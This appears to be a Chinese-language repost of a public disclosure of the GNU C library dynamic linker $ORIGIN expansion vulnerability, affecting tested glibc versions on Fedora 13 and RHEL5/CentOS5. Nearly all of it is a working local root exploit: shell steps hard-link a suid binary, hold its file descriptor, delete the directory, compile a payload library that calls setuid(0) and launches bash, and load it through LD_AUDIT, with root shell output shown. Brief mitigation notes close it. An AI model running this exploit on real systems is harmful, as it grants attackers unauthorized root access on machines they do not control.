GNU C library dynamic linker $ORIGIN expansion Vulnerability
from: http://marc.info/?l=full-disclosure&m=128739684614072&w=2
动态链接器(或动态加载器)是为连接运行时负责动态链接程序。 ld.so运行在两个安全模式,一个是宽松模式,使超过负荷运行控制程度高,一个是安全模式(libc_enable_secure)旨在防止用户的干扰装载特权可执行文件。
至少有以下版本已经过测试
2.12.1, FC13
2.5, RHEL5 / CentOS5
影响:
可以利用这个漏洞以root权限执行任意代码
代码如下:
$ mkdir /tmp/exploit
链接到一个suid的二进制,从而改变$ORIGIN的定义
$ ln /bin/ping /tmp/exploit/target
打开文件描述符的目标二进制
$ exec 3< /tmp/exploit/target
该描述符号现在应该可以通过/ proc来访问
$ ls -l /proc/$$/fd/3
删除以前创建的目录
$ rm -rf /tmp/exploit/
/ proc的链接应该仍然存在,但现在将被标记为删除
$ ls -l /proc/$$/fd/3
更换一个有效载荷DSO的目录,从而制造 $ORIGIN对于dlopen()的有效目标
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
现在强行把位于/proc的链接通过LD AUDIT来加载$ORIGIN
$ LD_AUDIT="/$ORIGIN" exec /proc/self/fd/3
这样就取得了root权限
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
缓解方法:
阻止用户在mounted的文件系统上创建文件
解决方法:
主要发行商应该在短期内发布最新的glibc包